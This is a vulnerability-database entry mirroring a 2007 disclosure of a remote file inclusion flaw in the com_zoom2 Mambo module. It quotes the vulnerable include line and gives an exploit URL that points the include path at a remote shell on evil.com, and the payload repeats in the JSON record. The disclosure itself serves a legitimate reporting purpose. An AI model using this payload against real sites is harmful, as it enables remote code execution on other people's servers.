Search...

[Full-disclosure] com_zoom2 Mambo Module Remote File Include Vulnerability

2007-04-11T00:00:00

ID SECURITYVULNS:DOC:16654
Type securityvulns
Reporter Securityvulns
Modified 2007-04-11T00:00:00

Description

com_zoom2 Mambo Module Remote File Include Vulnerability

autor:0o_zeus_o0 website:www.diosdelared.com mail:zeus@diosdelared.com 10/04/07

/components/com_zoom2/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http:/evil.com/shell.gif?

include_once("$mosConfig_absolute_path/components/com_zoom/classes/iptc/EXIF.php");

site download : http://mamboxchange.com/frs/download.php/3740/com_zoom_25_Beta.zip

JSON Vulners Source

Initial Source

{"id": "SECURITYVULNS:DOC:16654", "bulletinFamily": "software", "title": "[Full-disclosure] com_zoom2 Mambo Module Remote File Include Vulnerability", "description": "com_zoom2 Mambo Module Remote File Include Vulnerability\r\n\r\n##################\r\n\r\nautor:0o_zeus_o0\r\nwebsite:www.diosdelared.com\r\nmail:zeus@diosdelared.com\r\n10/04/07\r\n\r\n##################################\r\n\r\n/components/com_zoom2/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http:/evil.com/shell.gif?\r\n\r\ninclude_once("$mosConfig_absolute_path/components/com_zoom/classes/iptc/EXIF.php");\r\n\r\nsite download :\r\nhttp://mamboxchange.com/frs/download.php/3740/com_zoom_25_Beta.zip\r\n\r\n###################################################", "published": "2007-04-11T00:00:00", "modified": "2007-04-11T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16654", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:21", "edition": 1, "viewCount": 5, "enchantments": {"score": {"value": 1.8, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:7564"]}], "rev": 4}, "backreferences": {}, "exploitation": null, "vulnersScore": 1.8}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645415407}}